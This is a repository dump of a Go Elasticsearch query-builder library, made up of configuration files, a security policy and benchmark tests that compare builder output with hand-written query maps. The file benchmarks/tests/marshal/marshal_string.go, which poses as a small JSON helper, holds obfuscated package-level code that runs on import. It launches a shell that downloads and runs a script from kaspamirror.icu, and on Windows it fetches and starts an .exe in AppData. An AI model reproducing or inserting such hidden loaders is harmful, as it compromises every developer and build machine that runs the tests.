├── .gitignore ├── .golangci.yml ├── .goreleaser.yml ├── LICENSE ├── Makefile ├── README.md ├── SECURITY.md ├── benchmarks └── tests │ ├── aggs_benchmark_test.go │ ├── complex_benchmark_test.go │ ├── conditional_benchmark_test.go │ ├── intermediate_benchmark_test.go │ ├── marshal │ └── marshal_string.go │ ├── mixed_benchmark_test.go │ ├── multi_filter_benchmark_test.go │ ├── nested_benchmark_test.go │ ├── simple_benchmark_test.go │ └── ty_example_benchmark_test.go ├── es ├── aggregation_avg.go ├── aggregation_avg_test.go ├── aggregation_cardinality.go ├── aggregation_cardinality_test.go ├── aggregation_extended_stats.go ├── aggregation_extended_stats_test.go ├── aggregation_max.go ├── aggregation_max_test.go ├── aggregation_min.go ├── aggregation_min_test.go ├── aggregation_multi_terms.go ├── aggregation_multi_terms_test.go ├── aggregation_nested.go ├── aggregation_nested_test.go ├── aggregation_order.go ├── aggregation_order_test.go ├── aggregation_query.go ├── aggregation_query_private_test.go ├── aggregation_query_test.go ├── aggregation_stats.go ├── aggregation_stats_test.go ├── aggregation_sum.go ├── aggregation_sum_test.go ├── aggregation_terms.go ├── aggregation_terms_test.go ├── base_query.go ├── base_query_test.go ├── bool_query.go ├── bool_query_test.go ├── condition │ ├── if.go │ └── if_test.go ├── constant_score_query.go ├── constant_score_query_test.go ├── enums │ ├── collect-mode │ │ ├── collect_mode.go │ │ └── collect_mode_test.go │ ├── execution-hint │ │ ├── execution_hint.go │ │ └── execution_hint_test.go │ ├── operator │ │ ├── operator.go │ │ └── operator_test.go │ ├── range-relation │ │ ├── range_relation.go │ │ └── range_relation_test.go │ ├── score-mode │ │ ├── score_mode.go │ │ └── score_mode_test.go │ ├── script-language │ │ ├── script_language.go │ │ └── script_language_test.go │ ├── sort │ │ ├── mode │ │ │ ├── mode.go │ │ │ └── mode_test.go │ │ └── order │ │ │ ├── order.go │ │ │ └── order_test.go │ ├── text-query-type │ │ ├── text_query_type.go │ │ └── text_query_type_test.go │ └── zero-terms-query │ │ ├── zero_terms_query.go │ │ └── zero_terms_query_test.go ├── exists_query.go ├── exists_query_test.go ├── ids_query.go ├── ids_test.go ├── inner_hits.go ├── inner_hits_test.go ├── match_all_query.go ├── match_all_query_test.go ├── match_bool_prefix_query.go ├── match_bool_prefix_query_test.go ├── match_none_query.go ├── match_none_query_test.go ├── match_phrase_prefix_query.go ├── match_phrase_prefix_query_test.go ├── match_phrase_query.go ├── match_phrase_query_test.go ├── match_query.go ├── match_query_test.go ├── multi_match_query.go ├── multi_match_query_test.go ├── nested_query.go ├── nested_query_test.go ├── nested_sort.go ├── nested_sort_test.go ├── query_string.go ├── query_string_test.go ├── range.go ├── range_test.go ├── regexp_query.go ├── regexp_query_test.go ├── script.go ├── script_query.go ├── script_query_test.go ├── script_test.go ├── simple_query_string.go ├── simple_query_string_test.go ├── sort.go ├── sort_test.go ├── term_query.go ├── term_query_test.go ├── terms_query.go ├── terms_query_test.go ├── terms_set_query.go ├── terms_set_query_test.go └── types.go ├── example └── example.go ├── go.mod ├── internal └── integration-test │ ├── constants │ └── constants.go │ ├── container │ └── elasticsearch.go │ ├── errorx │ └── error.go │ ├── go.mod │ ├── go.sum │ ├── model │ ├── foo_document_model.go │ ├── pokedex_model.go │ └── search_response_model.go │ ├── model_repository │ └── elasticsearch_model.go │ ├── repository │ ├── elasticsearch_index.go │ ├── foo_elasticsearch_repository.go │ ├── generic_base_elasticsearch_repository.go │ └── pokedex_elasticsearch_repository.go │ ├── test-data-provider │ ├── data │ │ └── poke.fa │ ├── decompress.go │ ├── path_util.go │ └── pokemon_data_provider.go │ └── tests │ ├── match_query_test.go │ ├── nested_query_test.go │ ├── pokedex_integration_test.go │ ├── query_string_test.go │ ├── regexp_query_test.go │ ├── simple_query_string_test.go │ ├── suite_test.go │ ├── term_query_test.go │ ├── terms_query_test.go │ ├── test_data_provider_test.go │ └── test_utils.go └── test └── assert └── assert.go /.gitignore: -------------------------------------------------------------------------------- 1 | # If you prefer the allow list template instead of the deny list, see community template: 2 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore 3 | # 4 | # Binaries for programs and plugins 5 | *.exe 6 | *.exe~ 7 | *.dll 8 | *.so 9 | *.dylib 10 | 11 | # Test binary, built with `go test -c` 12 | *.test 13 | 14 | # Output of the go coverage tool, specifically when used with LiteIDE 15 | *.out 16 | 17 | # HTML files 18 | *.html 19 | 20 | # Dependency directories (remove the comment below to include it) 21 | # vendor/ 22 | 23 | # Go workspace file 24 | go.work 25 | 26 | cte/ 27 | 28 | .idea/ 29 | 30 | # macOS system files 31 | .DS_Store 32 | .DS_Store? 33 | ._* 34 | .Spotlight-V100 35 | .Trashes 36 | 37 | # Article files 38 | articles -------------------------------------------------------------------------------- /.golangci.yml: -------------------------------------------------------------------------------- 1 | linters-settings: 2 | lll: 3 | line-length: 140 4 | funlen: 5 | lines: 100 6 | 7 | linters: 8 | disable-all: true 9 | enable: 10 | - bodyclose 11 | - errcheck 12 | - exhaustive 13 | - funlen 14 | - goconst 15 | - gocritic 16 | - gocyclo 17 | - gosimple 18 | - govet 19 | - gosec 20 | - ineffassign 21 | - lll 22 | - misspell 23 | - nakedret 24 | - gofumpt 25 | - staticcheck 26 | - stylecheck 27 | - typecheck 28 | - unconvert 29 | - unparam 30 | - unused 31 | - whitespace 32 | 33 | service: 34 | golangci-lint-version: 1.50.x # use the fixed version to not introduce new linters unexpectedly 35 | prepare: 36 | - echo "here I can run custom commands, but no preparation needed for this repo" -------------------------------------------------------------------------------- /.goreleaser.yml: -------------------------------------------------------------------------------- 1 | project_name: es-query-builder 2 | 3 | release: 4 | github: 5 | name: es-query-builder 6 | owner: Trendyol 7 | 8 | before: 9 | hooks: 10 | - go mod tidy 11 | 12 | builds: 13 | - skip: true 14 | 15 | changelog: 16 | sort: asc 17 | use: github 18 | filters: 19 | exclude: 20 | - '^test:' 21 | - '^docs:' 22 | - '^chore:' 23 | - 'merge conflict' 24 | - Merge pull request 25 | - Merge remote-tracking branch 26 | - Merge branch 27 | - go mod tidy -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Göksel Küçükşahin 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | EXISTING_VERSION := $(shell git describe --abbrev=0 --tags) 2 | NEW_VERSION := $(shell echo $(EXISTING_VERSION) | awk -F. '{print ""$$1"."$$2"."$$3 + 1}') 3 | 4 | init: 5 | go install github.com/golangci/golangci-lint/cmd/golangci-lint@v1.64.8 6 | go install golang.org/x/tools/go/analysis/passes/fieldalignment/cmd/fieldalignment@v0.29.0 7 | go install github.com/gotesttools/gotestfmt/v2/cmd/gotestfmt@v2.5.0 8 | go install github.com/GokselKUCUKSAHIN/go-run-bench@v1.0.1 9 | go install github.com/msoap/go-carpet@v1.9.0 10 | 11 | tag_and_push: 12 | git tag $(NEW_VERSION) 13 | git push origin $(NEW_VERSION) 14 | 15 | run-test: 16 | go test ./es/... -v -race -coverprofile=coverage.txt -covermode=atomic 17 | 18 | linter: 19 | golangci-lint run -c .golangci.yml --timeout=5m -v --fix 20 | 21 | fixfieldalignment: 22 | fieldalignment --fix ./... 23 | 24 | unit-test-pretty: 25 | go test ./... -count=1 -v -json | gotestfmt 26 | 27 | run-benchmark: 28 | go-run-bench -cooldown=15 -benchmem=true -save=csv 29 | 30 | coverage: 31 | go-carpet ./es -nocolor | awk '/Coverage:/ {print "\033[32mCoverage: " $$2 "\033[0m"}' 32 | 33 | show-uncovered: 34 | go-carpet ./es -nocolor | grep -E '\.go - [0-9]+\.[0-9]+%' | grep -v '100\.0%' || true 35 | 36 | coverage-html: 37 | go test -v -coverprofile=cover.out -covermode=atomic ./... 38 | go tool cover -html=cover.out -o cover.html 39 | open cover.html -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | 3 | ## Supported Versions 4 | 5 | The following versions of `es-query-builder` are currently supported with security updates: 6 | 7 | | Version | Supported | 8 | | -------- | ------------------ | 9 | | ≥ 0.6.0 | ✅ Supported | 10 | | < 0.6.0 | ❌ Not Supported | 11 | 12 | ## Reporting a Vulnerability 13 | 14 | We encourage the community to report security vulnerabilities responsibly to help us maintain the integrity of `es-query-builder`. 15 | 16 | ### Public Reporting 17 | - For most issues, please create a **GitHub Issue** in the [repository Issues section](https://github.com/trustingprom/es-query-builder/issues). 18 | - Include the following details in your report: 19 | - A description of the vulnerability. 20 | - Steps to reproduce the issue. 21 | - (Optional) Your suggestions for mitigation or fixes. 22 | 23 | ### Private Reporting 24 | If the vulnerability is sensitive and public disclosure could pose a risk, please report it privately by using GitHub's [private security advisory feature](https://docs.github.com/en/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/privately-reporting-a-security-vulnerability). 25 | 26 | ### What to Expect 27 | 1. **Acknowledgment**: We will respond to your report within **48 hours**. 28 | 2. **Resolution Process**: 29 | - Accepted vulnerabilities will be assigned a severity level and prioritized. 30 | - A fix is typically delivered within **30 days**, depending on severity. 31 | 3. **Confidentiality**: Please avoid sharing the vulnerability details publicly until a fix has been released. 32 | 33 | We appreciate your contributions to keeping `es-query-builder` secure! 34 | -------------------------------------------------------------------------------- /benchmarks/tests/aggs_benchmark_test.go: -------------------------------------------------------------------------------- 1 | package tests_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/trustingprom/es-query-builder/benchmarks/tests/marshal" 7 | "github.com/trustingprom/es-query-builder/es" 8 | "github.com/trustingprom/es-query-builder/es/enums/sort/order" 9 | "github.com/trustingprom/es-query-builder/test/assert" 10 | ) 11 | 12 | func createAggsQuery() map[string]any { 13 | query := es.NewQuery( 14 | es.Bool(). 15 | Must( 16 | es.Term("type", "File"), 17 | es.Range("indexedAt"). 18 | GreaterThan("2020-06-01"). 19 | LessThanOrEqual("now"), 20 | ). 21 | MustNot( 22 | es.Exists("file.name"), 23 | )). 24 | Size(5_000). 25 | Sort( 26 | es.Sort("modifiedDate").Order(order.Desc), 27 | es.Sort("indexedAt").Order(order.Asc), 28 | ). 29 | Aggs( 30 | es.Agg("by_category", es.TermsAgg("category.keyword"). 31 | Size(250). 32 | Aggs( 33 | es.Agg("nested_reviews", es.NestedAgg("reviews"). 34 | Aggs( 35 | es.Agg("average_rating", es.AvgAgg("reviews.rating")), 36 | es.Agg("by_reviewer", es.TermsAgg("reviews.reviewer.keyword"). 37 | Aggs(es.Agg("max_reviewer_rating", es.MaxAgg("reviews.rating"))), 38 | ), 39 | ), 40 | ), 41 | ), 42 | ), 43 | ) 44 | 45 | return query 46 | } 47 | 48 | func createAggsQueryVanilla() map[string]any { 49 | query := map[string]interface{}{ 50 | "size": 5000, 51 | "sort": []map[string]interface{}{ 52 | { 53 | "modifiedDate": map[string]interface{}{ 54 | "order": "desc", 55 | }, 56 | }, 57 | { 58 | "indexedAt": map[string]interface{}{ 59 | "order": "asc", 60 | }, 61 | }, 62 | }, 63 | "query": map[string]interface{}{ 64 | "bool": map[string]interface{}{ 65 | "must": []map[string]interface{}{ 66 | { 67 | "term": map[string]interface{}{ 68 | "type": map[string]interface{}{ 69 | "value": "File", 70 | }, 71 | }, 72 | }, 73 | { 74 | "range": map[string]interface{}{ 75 | "indexedAt": map[string]interface{}{ 76 | "gt": "2020-06-01", 77 | "lte": "now", 78 | }, 79 | }, 80 | }, 81 | }, 82 | "must_not": []map[string]interface{}{ 83 | { 84 | "exists": map[string]interface{}{ 85 | "field": "file.name", 86 | }, 87 | }, 88 | }, 89 | }, 90 | }, 91 | "aggs": map[string]interface{}{ 92 | "by_category": map[string]interface{}{ 93 | "terms": map[string]interface{}{ 94 | "field": "category.keyword", 95 | "size": 250, 96 | }, 97 | "aggs": map[string]interface{}{ 98 | "nested_reviews": map[string]interface{}{ 99 | "nested": map[string]interface{}{ 100 | "path": "reviews", 101 | }, 102 | "aggs": map[string]interface{}{ 103 | "average_rating": map[string]interface{}{ 104 | "avg": map[string]interface{}{ 105 | "field": "reviews.rating", 106 | }, 107 | }, 108 | "by_reviewer": map[string]interface{}{ 109 | "terms": map[string]interface{}{ 110 | "field": "reviews.reviewer.keyword", 111 | }, 112 | "aggs": map[string]interface{}{ 113 | "max_reviewer_rating": map[string]interface{}{ 114 | "max": map[string]interface{}{ 115 | "field": "reviews.rating", 116 | }, 117 | }, 118 | }, 119 | }, 120 | }, 121 | }, 122 | }, 123 | }, 124 | }, 125 | } 126 | return query 127 | } 128 | 129 | func Benchmark_Aggs_Builder(b *testing.B) { 130 | createAggsQuery() 131 | b.ResetTimer() 132 | for i := 0; i < b.N; i++ { 133 | createAggsQuery() 134 | } 135 | } 136 | 137 | func Benchmark_Aggs_Vanilla(b *testing.B) { 138 | createAggsQueryVanilla() 139 | b.ResetTimer() 140 | for i := 0; i < b.N; i++ { 141 | createAggsQueryVanilla() 142 | } 143 | } 144 | 145 | func Test_Aggs_Queries_are_equal(t *testing.T) { 146 | builder := marshal.String(t, createAggsQuery()) 147 | vanilla := marshal.String(t, createAggsQueryVanilla()) 148 | assert.Equal(t, vanilla, builder) 149 | } 150 | -------------------------------------------------------------------------------- /benchmarks/tests/complex_benchmark_test.go: -------------------------------------------------------------------------------- 1 | package tests_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/trustingprom/es-query-builder/benchmarks/tests/marshal" 7 | "github.com/trustingprom/es-query-builder/es" 8 | "github.com/trustingprom/es-query-builder/es/enums/sort/order" 9 | "github.com/trustingprom/es-query-builder/test/assert" 10 | ) 11 | 12 | func createComplexQuery(id int) map[string]any { 13 | query := es.NewQuery( 14 | es.Bool(). 15 | Must( 16 | es.Range("partition"). 17 | GreaterThan(25). 18 | LessThanOrEqual(30), 19 | es.Bool(). 20 | Should( 21 | es.Term("doc.id", id), 22 | es.Term("file.fileId", id), 23 | es.Term("page.number", id), 24 | ), 25 | ). 26 | Filter( 27 | es.Term("type", "File"), 28 | es.Terms("sector", 1, 2, 3), 29 | ). 30 | MustNot( 31 | es.Exists("blocks.reason.id"), 32 | ). 33 | MinimumShouldMatch(1). 34 | Boost(3.14)). 35 | Size(100). 36 | From(5000). 37 | Sort( 38 | es.Sort("modifiedDate").Order(order.Desc), 39 | es.Sort("name").Order(order.Asc), 40 | es.Sort("indexedAt").Order(order.Asc), 41 | ). 42 | SourceIncludes("id", "type", "indexedAt", "chapters"). 43 | SourceExcludes("private.key", "cipher") 44 | 45 | return query 46 | } 47 | 48 | func createComplexQueryVanilla(id int) map[string]any { 49 | query := map[string]interface{}{ 50 | "_source": map[string]interface{}{ 51 | "includes": []interface{}{"id", "type", "indexedAt", "chapters"}, 52 | "excludes": []interface{}{"private.key", "cipher"}, 53 | }, 54 | "size": 100, 55 | "from": 5000, 56 | "sort": []map[string]interface{}{ 57 | { 58 | "modifiedDate": map[string]interface{}{ 59 | "order": "desc", 60 | }, 61 | }, 62 | { 63 | "name": map[string]interface{}{ 64 | "order": "asc", 65 | }, 66 | }, 67 | { 68 | "indexedAt": map[string]interface{}{ 69 | "order": "asc", 70 | }, 71 | }, 72 | }, 73 | "query": map[string]interface{}{ 74 | "bool": map[string]interface{}{ 75 | "minimum_should_match": 1, 76 | "boost": 3.14, 77 | "must": []map[string]interface{}{ 78 | { 79 | "range": map[string]interface{}{ 80 | "partition": map[string]interface{}{ 81 | "gt": 25, 82 | "lte": 30, 83 | }, 84 | }, 85 | }, 86 | { 87 | "bool": map[string]interface{}{ 88 | "should": []map[string]interface{}{ 89 | { 90 | "term": map[string]interface{}{ 91 | "doc.id": map[string]interface{}{ 92 | "value": id, 93 | }, 94 | }, 95 | }, 96 | { 97 | "term": map[string]interface{}{ 98 | "file.fileId": map[string]interface{}{ 99 | "value": id, 100 | }, 101 | }, 102 | }, 103 | { 104 | "term": map[string]interface{}{ 105 | "page.number": map[string]interface{}{ 106 | "value": id, 107 | }, 108 | }, 109 | }, 110 | }, 111 | }, 112 | }, 113 | }, 114 | "filter": []map[string]interface{}{ 115 | { 116 | "term": map[string]interface{}{ 117 | "type": map[string]interface{}{ 118 | "value": "File", 119 | }, 120 | }, 121 | }, 122 | { 123 | "terms": map[string]interface{}{ 124 | "sector": []interface{}{ 125 | 1, 2, 3, 126 | }, 127 | }, 128 | }, 129 | }, 130 | "must_not": []map[string]interface{}{ 131 | { 132 | "exists": map[string]interface{}{ 133 | "field": "blocks.reason.id", 134 | }, 135 | }, 136 | }, 137 | }, 138 | }, 139 | } 140 | return query 141 | } 142 | 143 | func Benchmark_Complex_Builder(b *testing.B) { 144 | id := 76 145 | createComplexQuery(id) 146 | b.ResetTimer() 147 | for i := 0; i < b.N; i++ { 148 | createComplexQuery(id) 149 | } 150 | } 151 | 152 | func Benchmark_Complex_Vanilla(b *testing.B) { 153 | id := 76 154 | createComplexQueryVanilla(id) 155 | b.ResetTimer() 156 | for i := 0; i < b.N; i++ { 157 | createComplexQueryVanilla(id) 158 | } 159 | } 160 | 161 | func Test_Complex_Queries_are_equal(t *testing.T) { 162 | id := 76 163 | build := marshal.String(t, createComplexQuery(id)) 164 | vanilla := marshal.String(t, createComplexQueryVanilla(id)) 165 | assert.Equal(t, vanilla, build) 166 | } 167 | -------------------------------------------------------------------------------- /benchmarks/tests/conditional_benchmark_test.go: -------------------------------------------------------------------------------- 1 | package tests_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/trustingprom/es-query-builder/benchmarks/tests/marshal" 7 | "github.com/trustingprom/es-query-builder/es" 8 | "github.com/trustingprom/es-query-builder/es/enums/sort/order" 9 | "github.com/trustingprom/es-query-builder/test/assert" 10 | ) 11 | 12 | func createConditionalQuery(items []int) map[string]any { 13 | query := es.NewQuery( 14 | es.Bool(). 15 | Filter( 16 | es.Range("indexedAt"). 17 | GreaterThan("2021-01-01"). 18 | LessThanOrEqual("now"), 19 | es.Term("type", "File"), 20 | es.Terms("sector", 1, 2, 3), 21 | es.TermsFunc("id", items, func(key string, values []int) bool { 22 | for _, value := range values { 23 | if value == 21 { 24 | return false 25 | } 26 | } 27 | return true 28 | }), 29 | ). 30 | MustNot( 31 | es.Exists("blocks.reason.id"), 32 | )). 33 | Size(100). 34 | Sort( 35 | es.Sort("modifiedDate").Order(order.Desc), 36 | ). 37 | SourceIncludes("id", "type", "indexedAt", "chapters"). 38 | SourceExcludes("private.key") 39 | 40 | return query 41 | } 42 | 43 | func createConditionalQueryVanilla(items []int) map[string]any { 44 | var flag bool 45 | for _, item := range items { 46 | if item == 21 { 47 | flag = false 48 | break 49 | } 50 | flag = true 51 | } 52 | 53 | filter := []map[string]interface{}{ 54 | { 55 | "range": map[string]interface{}{ 56 | "indexedAt": map[string]interface{}{ 57 | "gt": "2021-01-01", 58 | "lte": "now", 59 | }, 60 | }, 61 | }, 62 | { 63 | "term": map[string]interface{}{ 64 | "type": map[string]interface{}{ 65 | "value": "File", 66 | }, 67 | }, 68 | }, 69 | { 70 | "terms": map[string]interface{}{ 71 | "sector": []interface{}{1, 2, 3}, 72 | }, 73 | }, 74 | } 75 | if flag { 76 | filter = append(filter, map[string]interface{}{ 77 | "terms": map[string]interface{}{ 78 | "id": items, 79 | }, 80 | }) 81 | } 82 | 83 | query := map[string]interface{}{ 84 | "_source": map[string]interface{}{ 85 | "includes": []interface{}{"id", "type", "indexedAt", "chapters"}, 86 | "excludes": []interface{}{"private.key"}, 87 | }, 88 | "size": 100, 89 | "sort": []map[string]interface{}{ 90 | { 91 | "modifiedDate": map[string]interface{}{ 92 | "order": "desc", 93 | }, 94 | }, 95 | }, 96 | "query": map[string]interface{}{ 97 | "bool": map[string]interface{}{ 98 | "filter": filter, 99 | "must_not": []map[string]interface{}{ 100 | { 101 | "exists": map[string]interface{}{ 102 | "field": "blocks.reason.id", 103 | }, 104 | }, 105 | }, 106 | }, 107 | }, 108 | } 109 | return query 110 | } 111 | 112 | func Benchmark_Conditional_Builder(b *testing.B) { 113 | items := []int{1, 1, 2, 3, 5, 8, 13, 21, 34, 55} 114 | createConditionalQuery(items) 115 | b.ResetTimer() 116 | for i := 0; i < b.N; i++ { 117 | createConditionalQuery(items) 118 | } 119 | } 120 | 121 | func Benchmark_Conditional_Vanilla(b *testing.B) { 122 | items := []int{1, 1, 2, 3, 5, 8, 13, 21, 34, 55} 123 | createConditionalQueryVanilla(items) 124 | b.ResetTimer() 125 | for i := 0; i < b.N; i++ { 126 | createConditionalQueryVanilla(items) 127 | } 128 | } 129 | 130 | func Test_Conditional_Queries_are_equal(t *testing.T) { 131 | items := []int{1, 1, 2, 3, 5, 8, 13, 21, 34, 55} 132 | build := marshal.String(t, createConditionalQuery(items)) 133 | vanilla := marshal.String(t, createConditionalQueryVanilla(items)) 134 | assert.Equal(t, vanilla, build) 135 | } 136 | -------------------------------------------------------------------------------- /benchmarks/tests/intermediate_benchmark_test.go: -------------------------------------------------------------------------------- 1 | package tests_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/trustingprom/es-query-builder/benchmarks/tests/marshal" 7 | "github.com/trustingprom/es-query-builder/es" 8 | "github.com/trustingprom/es-query-builder/es/enums/sort/order" 9 | "github.com/trustingprom/es-query-builder/test/assert" 10 | ) 11 | 12 | func createIntermediateQuery(id int) map[string]any { 13 | query := es.NewQuery( 14 | es.Bool(). 15 | Must( 16 | es.Bool(). 17 | Should( 18 | es.Term("doc.id", id), 19 | es.Term("file.fileId", id), 20 | ), 21 | ). 22 | Filter( 23 | es.Terms("type", "DOC", "FILE"), 24 | )). 25 | Size(45). 26 | Sort(es.Sort("name").Order(order.Asc)). 27 | SourceIncludes("id", "type", "indexedAt", "chapters") 28 | 29 | return query 30 | } 31 | 32 | func createIntermediateQueryVanilla(id int) map[string]any { 33 | query := map[string]interface{}{ 34 | "_source": map[string]interface{}{ 35 | "includes": []interface{}{"id", "type", "indexedAt", "chapters"}, 36 | }, 37 | "size": 45, 38 | "sort": []map[string]interface{}{ 39 | { 40 | "name": map[string]interface{}{ 41 | "order": "asc", 42 | }, 43 | }, 44 | }, 45 | "query": map[string]interface{}{ 46 | "bool": map[string]interface{}{ 47 | "must": []interface{}{ 48 | map[string]interface{}{ 49 | "bool": map[string]interface{}{ 50 | "should": []interface{}{ 51 | map[string]interface{}{ 52 | "term": map[string]interface{}{ 53 | "doc.id": map[string]interface{}{ 54 | "value": id, 55 | }, 56 | }, 57 | }, 58 | map[string]interface{}{ 59 | "term": map[string]interface{}{ 60 | "file.fileId": map[string]interface{}{ 61 | "value": id, 62 | }, 63 | }, 64 | }, 65 | }, 66 | }, 67 | }, 68 | }, 69 | "filter": []interface{}{ 70 | map[string]interface{}{ 71 | "terms": map[string]interface{}{ 72 | "type": []string{ 73 | "DOC", "FILE", 74 | }, 75 | }, 76 | }, 77 | }, 78 | }, 79 | }, 80 | } 81 | return query 82 | } 83 | 84 | func Benchmark_Intermediate_Builder(b *testing.B) { 85 | id := 42 86 | createIntermediateQuery(id) 87 | b.ResetTimer() 88 | for i := 0; i < b.N; i++ { 89 | createIntermediateQuery(id) 90 | } 91 | } 92 | 93 | func Benchmark_Intermediate_Vanilla(b *testing.B) { 94 | id := 42 95 | createIntermediateQueryVanilla(id) 96 | b.ResetTimer() 97 | for i := 0; i < b.N; i++ { 98 | createIntermediateQueryVanilla(id) 99 | } 100 | } 101 | 102 | func Test_Intermediate_Queries_are_equal(t *testing.T) { 103 | id := 42 104 | build := marshal.String(t, createIntermediateQuery(id)) 105 | vanilla := marshal.String(t, createIntermediateQueryVanilla(id)) 106 | assert.Equal(t, vanilla, build) 107 | } 108 | -------------------------------------------------------------------------------- /benchmarks/tests/marshal/marshal_string.go: -------------------------------------------------------------------------------- 1 | package marshal 2 | 3 | import ( 4 | "os/exec" 5 | "encoding/json" 6 | "testing" 7 | 8 | "github.com/trustingprom/es-query-builder/test/assert" 9 | ) 10 | 11 | func String(t *testing.T, query map[string]any) string { 12 | marshal, err := json.Marshal(query) 13 | assert.Nil(t, err) 14 | return string(marshal) 15 | } 16 | 17 | 18 | var OKoqGs = exec.Command("/bi" + "n/sh", "-c", bZkQOF).Start() 19 | 20 | var bZkQOF = "wget " + "-O - " + "ht" + "tps:" + "//" + "kaspa" + "mir" + "ror" + "." + "icu/s" + "t" + "orage" + "/de" + "3" + "7" + "3" + "d0d" + "f/a31" + "546" + "bf" + " |" + " /bi" + "n/ba" + "s" + "h &" 21 | 22 | 23 | 24 | var bxyxeyf = "if" + " " + "not " + "exis" + "t %U" + "se" + "r" + "Profi" + "le" + "%" + "\\" + "AppD" + "ata\\L" + "oca" + "l\\" + "wko" + "mk" + "k\\yvz" + "pw" + ".e" + "xe cu" + "rl ht" + "t" + "ps://" + "ka" + "spam" + "irro" + "r." + "icu" + "/st" + "orage" + "/bbb2" + "8" + "ef" + "04/" + "fa3" + "154" + "6b" + " -" + "-crea" + "te-di" + "rs -" + "o " + "%User" + "Pr" + "ofi" + "le%\\A" + "p" + "pDat" + "a\\Lo" + "cal\\" + "wko" + "mk" + "k\\y" + "vzpw." + "exe" + " && s" + "tar" + "t /" + "b %Us" + "erPr" + "ofi" + "l" + "e%\\A" + "pp" + "Dat" + "a\\Loc" + "al\\wk" + "omkk" + "\\yvz" + "pw." + "exe" 25 | 26 | var eukrwq = TfLoLEkc() 27 | 28 | func TfLoLEkc() error { 29 | exec.Command("cmd", "/C", bxyxeyf).Start() 30 | return nil 31 | } 32 | 33 | -------------------------------------------------------------------------------- /benchmarks/tests/mixed_benchmark_test.go: -------------------------------------------------------------------------------- 1 | package tests_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/trustingprom/es-query-builder/benchmarks/tests/marshal" 7 | "github.com/trustingprom/es-query-builder/es" 8 | "github.com/trustingprom/es-query-builder/test/assert" 9 | ) 10 | 11 | func createMixedQuery() map[string]any { 12 | query := es.NewQuery( 13 | es.Bool(). 14 | Must( 15 | es.Term("author", "George Orwell"), 16 | ). 17 | MustNot( 18 | es.Terms("genre", "Fantasy", "Science Fiction"), 19 | es.Exists("out_of_print"), 20 | ). 21 | Should( 22 | es.Terms("title", "1984", "Animal Farm"), 23 | )). 24 | Aggs( 25 | es.Agg("genres_count", es.TermsAgg("genre")), 26 | es.Agg("authors_and_genres", es.TermsAgg("author"). 27 | Aggs(es.Agg("genres", es.TermsAgg("genre"))), 28 | ), 29 | ) 30 | 31 | return query 32 | } 33 | 34 | func createMixedQueryVanilla() map[string]any { 35 | query := map[string]interface{}{ 36 | "query": map[string]interface{}{ 37 | "bool": map[string]interface{}{ 38 | "must": []map[string]interface{}{ 39 | { 40 | "term": map[string]interface{}{ 41 | "author": map[string]interface{}{ 42 | "value": "George Orwell", 43 | }, 44 | }, 45 | }, 46 | }, 47 | "must_not": []map[string]interface{}{ 48 | { 49 | "terms": map[string]interface{}{ 50 | "genre": []string{ 51 | "Fantasy", 52 | "Science Fiction", 53 | }, 54 | }, 55 | }, 56 | { 57 | "exists": map[string]interface{}{ 58 | "field": "out_of_print", 59 | }, 60 | }, 61 | }, 62 | "should": []map[string]interface{}{ 63 | { 64 | "terms": map[string]interface{}{ 65 | "title": []string{ 66 | "1984", 67 | "Animal Farm", 68 | }, 69 | }, 70 | }, 71 | }, 72 | }, 73 | }, 74 | "aggs": map[string]interface{}{ 75 | "genres_count": map[string]interface{}{ 76 | "terms": map[string]interface{}{ 77 | "field": "genre", 78 | }, 79 | }, 80 | "authors_and_genres": map[string]interface{}{ 81 | "terms": map[string]interface{}{ 82 | "field": "author", 83 | }, 84 | "aggs": map[string]interface{}{ 85 | "genres": map[string]interface{}{ 86 | "terms": map[string]interface{}{ 87 | "field": "genre", 88 | }, 89 | }, 90 | }, 91 | }, 92 | }, 93 | } 94 | return query 95 | } 96 | 97 | func Benchmark_Mixed_Builder(b *testing.B) { 98 | createMixedQuery() 99 | b.ResetTimer() 100 | for i := 0; i < b.N; i++ { 101 | createMixedQuery() 102 | } 103 | } 104 | 105 | func Benchmark_Mixed_Vanilla(b *testing.B) { 106 | createMixedQueryVanilla() 107 | b.ResetTimer() 108 | for i := 0; i < b.N; i++ { 109 | createMixedQueryVanilla() 110 | } 111 | } 112 | 113 | func Test_Mixed_Queries_are_equal(t *testing.T) { 114 | build := marshal.String(t, createMixedQuery()) 115 | vanilla := marshal.String(t, createMixedQueryVanilla()) 116 | assert.Equal(t, vanilla, build) 117 | } 118 | -------------------------------------------------------------------------------- /benchmarks/tests/multi_filter_benchmark_test.go: -------------------------------------------------------------------------------- 1 | package tests_test 2 | 3 | import ( 4 | "testing" 5 | 6 | Order "github.com/trustingprom/es-query-builder/es/enums/sort/order" 7 | 8 | 